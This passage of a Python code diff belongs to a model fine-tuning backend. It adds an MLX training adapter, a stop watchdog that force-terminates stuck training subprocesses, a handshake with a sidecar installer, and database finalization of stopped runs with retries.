+        finetune_language_layers: bool = True,
+        finetune_attention_modules: bool = True,
+        finetune_mlp_modules: bool = True,
+        target_modules: Optional[Union[list, str]] = None,
+        lora_r: int = 16,
+        lora_alpha: int = 16,
+        lora_dropout: float = 0.0,
+        use_gradient_checkpointing: Union[str, bool] = "unsloth",
+        use_rslora: bool = False,
+        use_loftq: bool = False,
+    ) -> bool:
+        self._peft_config = {
+            "use_lora": bool(use_lora),
+            "lora_r": lora_r,
+            "lora_alpha": lora_alpha,
+            "lora_dropout": lora_dropout,
+            "target_modules": target_modules,
+            "gradient_checkpointing": use_gradient_checkpointing,
+            "use_rslora": bool(use_rslora),
+            "use_loftq": bool(use_loftq),
+            "finetune_vision_layers": bool(finetune_vision_layers),
+            "finetune_language_layers": bool(finetune_language_layers),
+            "finetune_attention_modules": bool(finetune_attention_modules),
+            "finetune_mlp_modules": bool(finetune_mlp_modules),
+        }
+        self._update_progress(status_message = "Queued MLX training setup")
+        return True
+
+    def load_and_format_dataset(
+        self,
+        dataset_source: Optional[str],
+        format_type: str = "auto",
+        local_datasets: Optional[list[str]] = None,
+        local_eval_datasets: Optional[list[str]] = None,
+        custom_format_mapping: Optional[dict[str, Any]] = None,
+        subset: Optional[str] = None,
+        train_split: str = "train",
+        eval_split: Optional[str] = None,
+        dataset_streaming: bool = False,
+        eval_steps: float = 0.00,
+        dataset_slice_start: Optional[int] = None,
+        dataset_slice_end: Optional[int] = None,
+        is_cpt: bool = False,
+        s3_config: dict = None,
+    ) -> Optional[tuple]:
+        self._dataset_config = {
+            "hf_dataset": dataset_source or "",
+            "local_datasets": local_datasets,
+            "local_eval_datasets": local_eval_datasets,
+            "format_type": format_type or "",
+            "custom_format_mapping": custom_format_mapping,
+            "subset": subset,
+            "train_split": train_split or "train",
+            "eval_split": eval_split,
+            "dataset_streaming": bool(dataset_streaming),
+            "eval_steps": eval_steps or 0.0,
+            "dataset_slice_start": dataset_slice_start,
+            "dataset_slice_end": dataset_slice_end,
+            "s3_config": s3_config,
+        }
+        self.is_cpt = bool(is_cpt)
+        self._update_progress(status_message = "Queued MLX dataset load")
+        return ({"dataset": [], "final_format": "deferred_mlx_cli", "success": True}, None)
+
+    def start_training(
+        self,
+        dataset = None,
+        eval_dataset = None,
+        **training_args,
+    ) -> bool:
+        if self.is_training and self.training_thread and self.training_thread.is_alive():
+            return False
+        if self._pump_thread and self._pump_thread.is_alive():
+            self._pump_thread.join(timeout = 2.0)
+            if self._pump_thread.is_alive():
+                self._update_progress(error = "Previous training event pump is still finalizing")
+                return False
+        if not self._model_config:
+            self._update_progress(error = "Model not loaded")
+            return False
+        if not self._dataset_config:
+            self._update_progress(error = "Dataset not loaded")
+            return False
+        if self.is_cpt:
+            self._update_progress(
+                error = "Continued Pretraining is not supported for MLX training yet.",
+                is_training = False,
+                is_completed = False,
+            )
+            return False
+
+        config = self._build_worker_config(training_args)
+        event_queue = queue.Queue()
+        stop_queue = queue.Queue()
+        self._event_queue = event_queue
+        self._stop_queue = stop_queue
+        self.should_stop = False
+        self.is_training = True
+        self.training_progress = TrainingProgress(
+            is_training = True,
+            status_message = "Initializing MLX training...",
+        )
+
+        self.training_thread = threading.Thread(
+            target = self._run_training_thread,
+            args = (config, event_queue, stop_queue),
+            daemon = True,
+        )
+        self._pump_thread = threading.Thread(
+            target = self._pump_events,
+            args = (event_queue, self.training_thread),
+            daemon = True,
+        )
+        self.training_thread.start()
+        self._pump_thread.start()
+        return True
+
+    def _build_worker_config(self, training_args: dict[str, Any]) -> dict[str, Any]:
+        peft = {
+            "use_lora": True,
+            "lora_r": 16,
+            "lora_alpha": 16,
+            "lora_dropout": 0.0,
+            "target_modules": None,
+            "gradient_checkpointing": "unsloth",
+            "use_rslora": False,
+            "use_loftq": False,
+            "finetune_vision_layers": True,
+            "finetune_language_layers": True,
+            "finetune_attention_modules": True,
+            "finetune_mlp_modules": True,
+            **self._peft_config,
+        }
+        output_dir = training_args.get("output_dir")
+        if output_dir:
+            output_dir = os.path.abspath(os.path.expanduser(str(output_dir)))
+        values = {
+            **self._model_config,
+            **self._dataset_config,
+            **training_args,
+            "training_type": (
+                "Continued Pretraining"
+                if self.is_cpt
+                else "LoRA/QLoRA"
+                if peft["use_lora"]
+                else "Full Finetuning"
+            ),
+            **peft,
+            "output_dir": output_dir,
+            "allow_external_output_dir": bool(output_dir),
+        }
+        config = _build_training_worker_config(values)
+        config["resolved_gpu_ids"] = None
+        config["gpu_selection"] = None
+        return config
+
+    def _run_training_thread(
+        self, config: dict[str, Any], event_queue: queue.Queue, stop_queue: queue.Queue
+    ):
+        try:
+            self._run_mlx_worker(config, event_queue, stop_queue)
+        except Exception as exc:
+            if event_queue is not None:
+                event_queue.put(
+                    {
+                        "type": "error",
+                        "error": str(exc),
+                        "stack": traceback.format_exc(limit = 20),
+                        "ts": time.time(),
+                    }
+                )
+
+    def _run_mlx_worker(
+        self, config: dict[str, Any], event_queue: queue.Queue, stop_queue: queue.Queue
+    ):
+        from .worker import run_mlx_training_process
+        run_mlx_training_process(
+            event_queue = event_queue,
+            stop_queue = stop_queue,
+            config = config,
+        )
+
+    def _pump_events(self, event_queue: queue.Queue, training_thread: threading.Thread):
+        while True:
+            event = None
+            try:
+                event = event_queue.get(timeout = 0.25)
+            except queue.Empty:
+                pass
+            if event is not None:
+                self._handle_event(event)
+                continue
+            if not training_thread.is_alive():
+                self._drain_events(event_queue)
+                with self._lock:
+                    if self.training_progress.is_training:
+                        self.training_progress.is_training = False
+                        if self.should_stop:
+                            self.training_progress.status_message = "Training stopped."
+                        elif (
+                            not self.training_progress.error
+                            and not self.training_progress.is_completed
+                        ):
+                            self.training_progress.error = "Training process exited unexpectedly"
+                    self.is_training = False
+                    self._event_queue = None
+                    self._stop_queue = None
+                return
+
+    def _drain_events(self, event_queue: Optional[queue.Queue] = None):
+        event_queue = event_queue or self._event_queue
+        if event_queue is None:
+            return
+        while True:
+            try:
+                self._handle_event(event_queue.get_nowait())
+            except queue.Empty:
+                return
+
+    def _handle_event(self, event: dict[str, Any]):
+        etype = event.get("type")
+        if etype == "status":
+            self._update_progress(
+                status_message = event.get("status_message") or event.get("message") or ""
+            )
+            return
+        if etype == "progress":
+            self._update_progress(
+                step = event.get("step", self.training_progress.step),
+                epoch = event.get("epoch", self.training_progress.epoch),
+                loss = event.get("loss", self.training_progress.loss),
+                learning_rate = event.get("learning_rate", self.training_progress.learning_rate),
+                total_steps = event.get("total_steps", self.training_progress.total_steps),
+                elapsed_seconds = event.get(
+                    "elapsed_seconds",
+                    self.training_progress.elapsed_seconds,
+                ),
+                eta_seconds = event.get("eta_seconds", self.training_progress.eta_seconds),
+                grad_norm = event.get("grad_norm", self.training_progress.grad_norm),
+                num_tokens = event.get("num_tokens", self.training_progress.num_tokens),
+                eval_loss = event.get("eval_loss", self.training_progress.eval_loss),
+                peak_memory_gb = event.get("peak_memory_gb", self.training_progress.peak_memory_gb),
+            )
+            return
+        if etype == "complete":
+            status_message = event.get("status_message") or "Training completed"
+            output_dir = event.get("output_dir")
+            was_cancelled = self.should_stop or status_message.strip().lower() in {
+                "training cancelled",
+                "training stopped",
+            }
+            self.output_dir = output_dir
+            self._update_progress(
+                is_training = False,
+                is_completed = not was_cancelled,
+                error = None,
+                status_message = status_message,
+                output_dir = output_dir,
+            )
+            self.is_training = False
+            return
+        if etype == "error":
+            self._update_progress(
+                is_training = False,
+                is_completed = False,
+                error = event.get("error") or event.get("message") or "Training failed",
+            )
+            self.is_training = False
+            return
+
+    def stop_training(self, save: bool = True):
+        self.should_stop = True
+        self.save_on_stop = bool(save)
+        if self._stop_queue is not None:
+            self._stop_queue.put({"type": "stop", "save": save})
+        status_message = (
+            "Stopping training and saving checkpoint..." if save else "Cancelling training..."
+        )
+        self._update_progress(status_message = status_message)
+        return True
+
+    def get_training_progress(self) -> TrainingProgress:
+        pump_thread = self._pump_thread
+        training_thread = self.training_thread
+        if (
+            pump_thread is not None
+            and pump_thread.is_alive()
+            and (training_thread is None or not training_thread.is_alive())
+            and threading.current_thread() is not pump_thread
+        ):
+            pump_thread.join(timeout = 5.0)
+        if pump_thread is None or not pump_thread.is_alive():
+            self._drain_events()
+        with self._lock:
+            return replace(self.training_progress)
+
+
+def create_mlx_trainer_adapter(*args, **kwargs):
+    return _MLXTrainerAdapter(*args, **kwargs)
 
 
 class TrainingBackend:
@@ -221,11 +762,22 @@ class TrainingBackend:
         self._pump_running: bool = False
         self._lock = threading.Lock()
 
+        # Stop watchdog: after a stop is requested, escalates to force_terminate()
+        # if the worker does not exit on its own within a bounded time. The watched
+        # proc is tracked so a new run always gets its own watcher.
+        self._stop_watchdog: Optional[threading.Thread] = None
+        self._stop_watchdog_proc: Optional[mp.Process] = None
+        self._complete_seen = threading.Event()
+
         # Progress state (updated by pump thread from subprocess events)
         self._progress = TrainingProgress()
         self._should_stop = False
         self._cancel_requested = False  # True only for stop(save=False)
 
+        # Throttled training-status logging to the server log (not one line/step).
+        self._last_progress_log_ts: float = 0.0
+        self._last_progress_log_step: int = -1
+
         # Training metrics (consumed by routes for SSE and /metrics)
         self.loss_history: list = []
         self.lr_history: list = []
@@ -245,6 +797,7 @@ class TrainingBackend:
         self._metric_buffer: list[dict] = []
         self._run_finalized: bool = False
         self._db_run_created: bool = False
+        self._db_create_in_progress: bool = False
         self._db_total_steps_set: bool = False
         self._db_config: Optional[dict] = None
         self._db_started_at: Optional[str] = None
@@ -296,86 +849,7 @@ class TrainingBackend:
         # treat this fresh setup as a recoverable death.
         self._pump_running = False
 
-        # Build config dict for the subprocess
-        config = {
-            "model_name": kwargs["model_name"],
-            "project_name": kwargs.get("project_name"),
-            "training_type": kwargs.get("training_type", "LoRA/QLoRA"),
-            "hf_token": kwargs.get("hf_token", ""),
-            "load_in_4bit": kwargs.get("load_in_4bit", True),
-            "max_seq_length": kwargs.get("max_seq_length", 2048),
-            "vision_image_size": kwargs.get("vision_image_size"),
-            "hf_dataset": kwargs.get("hf_dataset", ""),
-            "local_datasets": kwargs.get("local_datasets"),
-            "local_eval_datasets": kwargs.get("local_eval_datasets"),
-            "format_type": kwargs.get("format_type", ""),
-            "subset": kwargs.get("subset"),
-            "train_split": kwargs.get("train_split", "train"),
-            "eval_split": kwargs.get("eval_split"),
-            "eval_steps": kwargs.get("eval_steps", 0.00),
-            "dataset_streaming": kwargs.get("dataset_streaming", False),
-            "dataset_slice_start": kwargs.get("dataset_slice_start"),
-            "dataset_slice_end": kwargs.get("dataset_slice_end"),
-            "custom_format_mapping": kwargs.get("custom_format_mapping"),
-            "is_dataset_image": kwargs.get("is_dataset_image", False),
-            "is_dataset_audio": kwargs.get("is_dataset_audio", False),
-            "is_embedding": kwargs.get("is_embedding", False),
-            "num_epochs": kwargs.get("num_epochs", 3),
-            "learning_rate": kwargs.get("learning_rate", "2e-4"),
-            "embedding_learning_rate": kwargs.get("embedding_learning_rate"),
-            "batch_size": kwargs.get("batch_size", 2),
-            "gradient_accumulation_steps": kwargs.get("gradient_accumulation_steps", 4),
-            "warmup_steps": kwargs.get("warmup_steps"),
-            "warmup_ratio": kwargs.get("warmup_ratio"),
-            "max_steps": kwargs.get("max_steps", 0),
-            "save_steps": kwargs.get("save_steps", 0),
-            "weight_decay": kwargs.get("weight_decay", 0.001),
-            "max_grad_norm": kwargs.get("max_grad_norm", 0.0),
-            "max_grad_value": _coerce_optional_nonneg_float(
-                "max_grad_value", kwargs.get("max_grad_value")
-            ),
-            "max_grad_leaf_norm": _coerce_optional_nonneg_float(
-                "max_grad_leaf_norm", kwargs.get("max_grad_leaf_norm")
-            ),
-            "cast_norm_output_to_input_dtype": _coerce_optional_bool(
-                kwargs.get("cast_norm_output_to_input_dtype"), True
-            ),
-            # MLX/CUDA/embedding workers need an int (transformers.set_seed(None) raises).
-            "random_seed": _coerce_seed(kwargs.get("random_seed")),
-            "packing": kwargs.get("packing", False),
-            "optim": kwargs.get("optim", "adamw_8bit"),
-            "lr_scheduler_type": kwargs.get("lr_scheduler_type", "linear"),
-            "use_lora": kwargs.get("use_lora", True),
-            "lora_r": kwargs.get("lora_r", 16),
-            "lora_alpha": kwargs.get("lora_alpha", 16),
-            "lora_dropout": kwargs.get("lora_dropout", 0.0),
-            "target_modules": kwargs.get("target_modules"),
-            "gradient_checkpointing": kwargs.get("gradient_checkpointing", "unsloth"),
-            "use_rslora": kwargs.get("use_rslora", False),
-            "use_loftq": kwargs.get("use_loftq", False),
-            "train_on_completions": kwargs.get("train_on_completions", False),
-            "finetune_vision_layers": kwargs.get("finetune_vision_layers", True),
-            "finetune_language_layers": kwargs.get("finetune_language_layers", True),
-            "finetune_attention_modules": kwargs.get("finetune_attention_modules", True),
-            "finetune_mlp_modules": kwargs.get("finetune_mlp_modules", True),
-            "enable_wandb": kwargs.get("enable_wandb", False),
-            "wandb_token": kwargs.get("wandb_token"),
-            "wandb_project": kwargs.get("wandb_project", "unsloth-training"),
-            "enable_tensorboard": kwargs.get("enable_tensorboard", False),
-            "tensorboard_dir": kwargs.get("tensorboard_dir", "runs"),
-            "resume_from_checkpoint": kwargs.get("resume_from_checkpoint"),
-            "trust_remote_code": kwargs.get("trust_remote_code", False),
-            "approved_remote_code_fingerprint": kwargs.get("approved_remote_code_fingerprint"),
-            "subject": kwargs.get("subject"),
-            "gpu_ids": kwargs.get("gpu_ids"),
-            "s3_config": kwargs.get("s3_config"),
-            # Flipped to True only by the HTTP-fallback respawn after a stall.
-            "disable_xet": kwargs.get("disable_xet", False),
-        }
-
-        # Full finetuning always runs in 16-bit; LoRA/QLoRA/CPT keep the request.
-        if config["training_type"] == "Full Finetuning":
-            config["load_in_4bit"] = False
+        config = _build_training_worker_config(kwargs)
 
         # Split GPU validation from placement around the VRAM hook:
         #   * Explicit gpu_ids are validated here (raises -> the route returns 400
@@ -401,7 +875,7 @@ class TrainingBackend:
         )
 
         defer_auto_selection = False
-        if _hw.DEVICE == _hw.DeviceType.MLX:
+        if should_use_mlx_training_backend(device = _hw.DEVICE):
             config["resolved_gpu_ids"] = None
             config["gpu_selection"] = None
         elif gpu_ids:
@@ -411,91 +885,129 @@ class TrainingBackend:
         else:
             defer_auto_selection = True
 
-        # Synchronous validation passed -> free VRAM (export + chat) now, before
-        # auto-selection and the spawn, so placement sees the freed memory.
-        if before_spawn is not None:
-            try:
-                before_spawn()
-            except Exception:
-                logger.warning("before_spawn hook failed; continuing", exc_info = True)
+        # Handshake with the sidecar install route: mark the spawn in progress BEFORE rechecking
+        # the reservation, so either this recheck aborts, or the install's is_training_active()
+        # sees this flag (or the recorded proc) and refuses.
+        from utils.transformers_version import sidecar_swap_in_progress
 
-        if defer_auto_selection:
-            resolved_gpu_ids, gpu_selection = prepare_gpu_selection(None, **gpu_selection_kwargs)
-            config["resolved_gpu_ids"] = resolved_gpu_ids
-            config["gpu_selection"] = gpu_selection
-
-        from .worker import run_training_process
+        self._spawn_in_progress = True
+        if sidecar_swap_in_progress():
+            self._spawn_in_progress = False
+            from utils.transformers_version import SidecarSwapInProgress
+            raise SidecarSwapInProgress(
+                "A transformers installation is replacing the latest sidecar; "
+                "retry when it completes."
+            )
 
+        # Any exception between the handshake above and the flag reset below would
+        # otherwise leave _spawn_in_progress latched, wedging is_training_active
+        # (and the install route) until restart.
         try:
-            with native_path_secret_removed_for_child_start():
-                event_queue = _CTX.Queue()
-                stop_queue = _CTX.Queue()
+            # Synchronous validation passed -> free VRAM (export + chat) now, before
+            # auto-selection and the spawn, so placement sees the freed memory. Runs AFTER the handshake
+            # so a lost race to an install can't tear down chat/export for a training run that never spawns.
+            if before_spawn is not None:
+                try:
+                    before_spawn()
+                except Exception:
+                    logger.warning("before_spawn hook failed; continuing", exc_info = True)
 
-                proc = _CTX.Process(
-                    target = run_without_native_path_secret,
-                    args = (run_training_process,),
-                    kwargs = {
-                        "event_queue": event_queue,
-                        "stop_queue": stop_queue,
-                        "config": config,
-                    },
-                    daemon = True,
-                )
-                proc.start()
-                from utils.process_lifetime import adopt_pid
+            if defer_auto_selection:
+                try:
+                    resolved_gpu_ids, gpu_selection = prepare_gpu_selection(
+                        None, **gpu_selection_kwargs
+                    )
+                except Exception:
+                    # Flag is already set; a failed GPU selection must not leave is_training_active stuck True.
+                    self._spawn_in_progress = False
+                    raise
+                config["resolved_gpu_ids"] = resolved_gpu_ids
+                config["gpu_selection"] = gpu_selection
+
+            from .worker import run_training_process
+
+            try:
+                with native_path_secret_removed_for_child_start():
+                    event_queue = _CTX.Queue()
+                    stop_queue = _CTX.Queue()
+
+                    proc = _CTX.Process(
+                        target = run_without_native_path_secret,
+                        args = (run_training_process,),
+                        kwargs = {
+                            "event_queue": event_queue,
+                            "stop_queue": stop_queue,
+                            "config": config,
+                        },
+                        daemon = True,
+                    )
+                    proc.start()
+                    from utils.process_lifetime import adopt_pid
+
+                    adopt_pid(proc.pid)  # bind to parent lifetime (Windows job / sweep)
+            except Exception:
+                logger.error("Failed to start training subprocess", exc_info = True)
+                self._spawn_in_progress = False
+                return False
+
+            logger.info("Training subprocess started (pid=%s)", proc.pid)
+
+            # Reset state (old pump thread dead, proc.start() succeeded).
+            self.current_job_id = job_id
+            self._should_stop = False
+            self._cancel_requested = False
+            self._complete_seen.clear()
+            self._progress = TrainingProgress(
+                is_training = True, status_message = "Initializing training..."
+            )
+            # Reset the progress-log throttle so the new run always logs its first step,
+            # even if it starts within 30s of a prior run whose last logged step matches.
+            self._last_progress_log_ts = 0.0
+            self._last_progress_log_step = -1
+            self.loss_history.clear()
+            self.lr_history.clear()
+            self.step_history.clear()
+            self.grad_norm_history.clear()
+            self.grad_norm_step_history.clear()
+            self.eval_loss_history.clear()
+            self.eval_step_history.clear()
+            self.eval_enabled = False
+            self._output_dir = None
+            self._metric_buffer.clear()
+            self._run_finalized = False
+            self._db_run_created = False
+            self._db_create_in_progress = False  # a stale watchdog create can't block this run
+            self._db_total_steps_set = False
+            self._db_config = _sanitize_db_config(config)
+            self._db_started_at = datetime.now(timezone.utc).isoformat()
+            # Start each job Xet-first; keep config so a stall can respawn over HTTP.
+            self._last_full_config = config
+            self._in_model_load = False
+            self._xet_fallback_used = False
+            self._needs_xet_respawn = False
+
+            # Create the DB run row before the pump can consume events, so it appears
+            # in history during model loading and a fast terminal worker can't race the
+            # pump into a duplicate create/finalize. From here the pump only finalizes.
+            self._ensure_db_run_created()
+
+            # Assign handles and start the pump together under the lock so a concurrent
+            # poll can't see a live _proc with no pump and spawn a duplicate.
+            new_pump = threading.Thread(target = self._pump_loop, daemon = True)
+            with self._lock:
+                self._pump_running = False
+                self._event_queue = event_queue
+                self._stop_queue = stop_queue
+                self._proc = proc
+                self._pump_thread = new_pump
+                new_pump.start()
+                self._spawn_in_progress = False
+
+            return True
 
-                adopt_pid(proc.pid)  # bind to parent lifetime (Windows job / sweep)
         except Exception:
-            logger.error("Failed to start training subprocess", exc_info = True)
-            return False
-
-        logger.info("Training subprocess started (pid=%s)", proc.pid)
-
-        # Reset state (old pump thread dead, proc.start() succeeded).
-        self.current_job_id = job_id
-        self._should_stop = False
-        self._cancel_requested = False
-        self._progress = TrainingProgress(
-            is_training = True, status_message = "Initializing training..."
-        )
-        self.loss_history.clear()
-        self.lr_history.clear()
-        self.step_history.clear()
-        self.grad_norm_history.clear()
-        self.grad_norm_step_history.clear()
-        self.eval_loss_history.clear()
-        self.eval_step_history.clear()
-        self.eval_enabled = False
-        self._output_dir = None
-        self._metric_buffer.clear()
-        self._run_finalized = False
-        self._db_run_created = False
-        self._db_total_steps_set = False
-        self._db_config = _sanitize_db_config(config)
-        self._db_started_at = datetime.now(timezone.utc).isoformat()
-        # Start each job Xet-first; keep config so a stall can respawn over HTTP.
-        self._last_full_config = config
-        self._in_model_load = False
-        self._xet_fallback_used = False
-        self._needs_xet_respawn = False
-
-        # Create the DB run row before the pump can consume events, so it appears
-        # in history during model loading and a fast terminal worker can't race the
-        # pump into a duplicate create/finalize. From here the pump only finalizes.
-        self._ensure_db_run_created()
-
-        # Assign handles and start the pump together under the lock so a concurrent
-        # poll can't see a live _proc with no pump and spawn a duplicate.
-        new_pump = threading.Thread(target = self._pump_loop, daemon = True)
-        with self._lock:
-            self._pump_running = False
-            self._event_queue = event_queue
-            self._stop_queue = stop_queue
-            self._proc = proc
-            self._pump_thread = new_pump
-            new_pump.start()
-
-        return True
+            self._spawn_in_progress = False
+            raise
 
     def stop_training(self, save: bool = True) -> bool:
         """Send stop signal to the training subprocess."""
@@ -512,15 +1024,212 @@ class TrainingBackend:
             self._progress.status_message = (
                 "Stopping training and saving checkpoint..." if save else "Cancelling training..."
             )
+        # Guarantee the run finalizes even if the worker wedges after saving.
+        self._start_stop_watchdog(cancel = not save)
         return True
 
-    def force_terminate(self) -> None:
-        """Force-kill the training subprocess so state can be reset immediately."""
+    def _start_stop_watchdog(self, cancel: bool) -> None:
+        """Start a daemon that force-terminates the worker if a requested stop does not
+        exit on its own. No-op if no worker is alive or a live watchdog already watches
+        this proc (a stale watchdog on an old proc never blocks a new run's watcher)."""
         with self._lock:
-            if self._proc is not None and self._proc.is_alive():
-                logger.info("Force-terminating training subprocess (pid=%s)", self._proc.pid)
-                self._proc.terminate()
             proc = self._proc
+            if proc is None or not proc.is_alive():
+                return
+            if (
+                self._stop_watchdog is not None
+                and self._stop_watchdog.is_alive()
+                and self._stop_watchdog_proc is proc
+            ):
+                return
+            watchdog = threading.Thread(
+                target = self._stop_watchdog_loop,
+                args = (proc, cancel, self.current_job_id),
+                name = f"stop-watchdog-{self.current_job_id or 'unknown'}",
+                daemon = True,
+            )
+            self._stop_watchdog = watchdog
+            self._stop_watchdog_proc = proc
+            watchdog.start()
+
+    def _stop_watchdog_loop(
+        self,
+        target_proc: "mp.Process",
+        cancel: bool,
+        watched_job_id: Optional[str] = None,
+    ) -> None:
+        """Escalate a stuck stop to force_terminate(): grace after "complete", else the
+        absolute backstop (see the module timeouts). No-ops on a clean exit; exits
+        silently if a new run replaces the worker."""
+        started = time.monotonic()
+        complete_at: Optional[float] = None
+        reason = ""
+        while True:
+            with self._lock:
+                superseded = self._proc is not target_proc
+                # A later cancel has nothing to save, so tighten an in-flight save
+                # watchdog to the shorter cancel cap.
+                cancelling = cancel or self._cancel_requested
+            if superseded or not target_proc.is_alive():
+                return
+            now = time.monotonic()
+            abs_timeout = _CANCEL_TIMEOUT_S if cancelling else _STOP_TIMEOUT_S
+            if complete_at is None and self._complete_seen.is_set():
+                complete_at = now
+            if complete_at is not None and now - complete_at >= _STOP_GRACE_S:
+                reason = "worker still alive after save"
+                break
+            if now - started >= abs_timeout:
+                reason = "worker did not exit within the absolute timeout"
+                break
+            time.sleep(0.5)
+
+        with self._lock:
+            superseded = self._proc is not target_proc
+        if superseded or not target_proc.is_alive():
+            return
+        if complete_at is None:
+            # Backstop fired pre-completion: a save may still be in progress.
+            logger.warning(
+                "Stop watchdog: absolute timeout with no completion signal; "
+                "force-terminating a possibly-mid-save worker: %s",
+                reason,
+            )
+        else:
+            logger.warning("Stop watchdog force-terminating stuck training worker: %s", reason)
+        # force_terminate can raise on a wedged child; finalize regardless.
+        try:
+            self.force_terminate(target_proc = target_proc)
+        except Exception:
+            logger.exception("Stop watchdog: force_terminate failed; finalizing anyway")
+        finally:
+            self._finalize_stopped_after_escalation(
+                target_proc = target_proc, watched_job_id = watched_job_id
+            )
+
+    def _finalize_stopped_after_escalation(
+        self,
+        target_proc: "Optional[mp.Process]" = None,
+        watched_job_id: Optional[str] = None,
+    ) -> None:
+        """Finalize parent state after a force-terminate so the UI leaves "Stopping..."
+        even if the worker is wedged in driver teardown; preserves output_dir so a saved
+        checkpoint is kept. No-ops if a new run already replaced the watched worker, so a
+        stale watchdog never marks a fresh run stopped or drops its handle.
+
+        Supersession is checked on both the watched proc and job id: start_training sets
+        current_job_id before it installs the new _proc, so a stale watchdog entering that
+        startup window still sees the old (dead) handle and is caught by the job-id guard.
+
+        The run's terminal DB state is recorded (create-if-needed + finish by captured id)
+        BEFORE _proc is dropped: a wedged worker still reports alive, so the pump never
+        reaches its own finalize and would bail on its _proc-is-None guard once the handle
+        is gone. While the handle is held is_training_active() stays true, so no new run can
+        start and current_job_id stays the watched run for the write. _proc is dropped last,
+        re-guarded on target_proc so a run that did replace the worker keeps its handle."""
+        with self._lock:
+            if target_proc is not None and self._proc is not target_proc:
+                return  # a new run replaced the worker; never touch its state
+            if watched_job_id is not None and self.current_job_id != watched_job_id:
+                return  # a new run is already starting up; leave its state alone
+            run_id = self.current_job_id  # == watched_job_id
+            self._progress.is_training = False
+            self._progress.status_message = "Training stopped."
+        # Create the row if a start-time create failed (no-op otherwise; skips when the pump
+        # is mid-create, in which case its create-then-finalize records the run instead).
+        self._ensure_db_run_created()
+        with self._lock:
+            claim = (
+                bool(run_id)
+                and self.current_job_id == run_id
+                and self._db_run_created
+                and not self._run_finalized
+            )
+            batch: list = []
+            final_step = final_loss = duration = None
+            loss_history: list = []
+            output_dir = self._output_dir
+            if claim:
+                self._run_finalized = True  # claim this run's finalize
+                batch = list(self._metric_buffer)
+                del self._metric_buffer[: len(batch)]
+                final_step = self._progress.step
+                final_loss = self._progress.loss
+                if final_loss is not None and not math.isfinite(final_loss):
+                    final_loss = None
+                duration = self._progress.elapsed_seconds
+                loss_history = list(self.loss_history)
+        if claim:
+            self._finish_stopped_run(
+                run_id, output_dir, batch, final_step, final_loss, duration, loss_history
+            )
+        with self._lock:
+            if target_proc is None or self._proc is target_proc:
+                self._proc = None  # drop only our handle, never a run that replaced it
+
+    def _finish_stopped_run(
+        self,
+        run_id: str,
+        output_dir: Optional[str],
+        batch: list,
+        final_step: Optional[int],
+        final_loss: Optional[float],
+        duration: Optional[float],
+        loss_history: list,
+    ) -> None:
+        """Record a force-stopped run finished by its captured id, from state snapshotted
+        under the lock. insert_metrics_batch upserts and finish_run is an idempotent UPDATE,
+        so a concurrent pump finalize of the same run is harmless and a different current run
+        is never touched. The watchdog is the sole finalizer once _proc is dropped, so a
+        transient DB error (e.g. a SQLite lock) is retried a few times; on final failure the
+        finalize is unclaimed (only if the run is still current) so the row is not left
+        claimed-but-unfinalized."""
+        for attempt in range(_DB_FINALIZE_RETRIES):
+            try:
+                from storage.studio_db import finish_run, insert_metrics_batch
+                from utils.downsample import downsample
+
+                if batch:
+                    insert_metrics_batch(run_id, batch)
+                sparkline = downsample(loss_history, 50)
+                finish_run(
+                    id = run_id,
+                    status = "stopped",
+                    ended_at = datetime.now(timezone.utc).isoformat(),
+                    final_step = final_step,
+                    final_loss = final_loss,
+                    duration_seconds = duration,
+                    loss_sparkline = _json.dumps(sparkline),
+                    output_dir = output_dir,
+                    error_message = None,
+                )
+                return
+            except Exception:
+                if attempt + 1 < _DB_FINALIZE_RETRIES:
+                    time.sleep(_DB_FINALIZE_RETRY_S)
+                    continue
+                logger.warning(
+                    "Failed to finalize stopped run %s in DB after %d attempts",
+                    run_id,
+                    _DB_FINALIZE_RETRIES,
+                    exc_info = True,
+                )
+                with self._lock:
+                    # Only if still current; a new run's finalize state is never touched.
+                    if self.current_job_id == run_id:
+                        self._run_finalized = False
+
+    def force_terminate(self, target_proc: "Optional[mp.Process]" = None) -> None:
+        """Force-kill the training subprocess so state can be reset immediately. With
+        ``target_proc``, terminate only that handle and no-op if a new run has replaced
+        it, so the watchdog can never kill a fresh worker."""
+        with self._lock:
+            proc = self._proc
+            if target_proc is not None and proc is not target_proc:
+                return  # superseded by a new run; do not touch the new worker
+            if proc is not None and proc.is_alive():
+                logger.info("Force-terminating training subprocess (pid=%s)", proc.pid)
+                proc.terminate()
             cancelled = self._cancel_requested
             output_dir = self._output_dir
 
@@ -597,50 +1306,84 @@ class TrainingBackend:
 
         from .worker import run_training_process
 
-        try:
-            with native_path_secret_removed_for_child_start():
-                event_queue = _CTX.Queue()
-                stop_queue = _CTX.Queue()
-                new_proc = _CTX.Process(
-                    target = run_without_native_path_secret,
-                    args = (run_training_process,),
-                    kwargs = {
-                        "event_queue": event_queue,
-                        "stop_queue": stop_queue,
-                        "config": config,
-                    },
-                    daemon = True,
-                )
-                new_proc.start()
-                from utils.process_lifetime import adopt_pid
+        # This run is active, so an install request 409s rather than proceeds: a reservation seen here
+        # is transient (an aborting install or short lazy repair). Wait it out instead of stranding the
+        # stalled run; only a wedged reservation fails the respawn.
+        from utils.transformers_version import sidecar_swap_in_progress
 
-                adopt_pid(new_proc.pid)  # bind to parent lifetime (Windows job / sweep)
-        except Exception:
-            logger.error("Failed to respawn training subprocess", exc_info = True)
-            with self._lock:
-                # No replacement pump will run; clear the flag so a later run can't
-                # inherit a stale _pump_running=True and spawn a duplicate.
-                self._pump_running = False
-                self._progress.is_training = False
-                self._progress.error = "Failed to recover stalled model download"
-            self._ensure_db_run_created()
-            self._finalize_run_in_db(
-                status = "error",
-                error_message = "Failed to recover stalled model download",
+        self._spawn_in_progress = True
+        _swap_wait_deadline = time.time() + 120
+        while sidecar_swap_in_progress() and time.time() < _swap_wait_deadline:
+            time.sleep(1)
+        if sidecar_swap_in_progress():
+            # Raising here would land in the pump's broad finalization catch and
+            # strand the run in a training state with no worker: finalize it as a
+            # failure explicitly instead.
+            self._spawn_in_progress = False
+            msg = (
+                "A transformers installation is replacing the latest sidecar; "
+                "cannot respawn the training worker."
             )
+            logger.error(msg)
+            with self._lock:
+                self._progress.is_training = False
+                self._progress.error = msg
+            self._ensure_db_run_created()
+            self._finalize_run_in_db(status = "error", error_message = msg)
             return
 
-        logger.info("Training subprocess respawned with Xet disabled (pid=%s)", new_proc.pid)
-        new_pump = threading.Thread(target = self._pump_loop, daemon = True)
-        with self._lock:
-            self._in_model_load = False
-            self._event_queue = event_queue
-            self._stop_queue = stop_queue
-            self._proc = new_proc
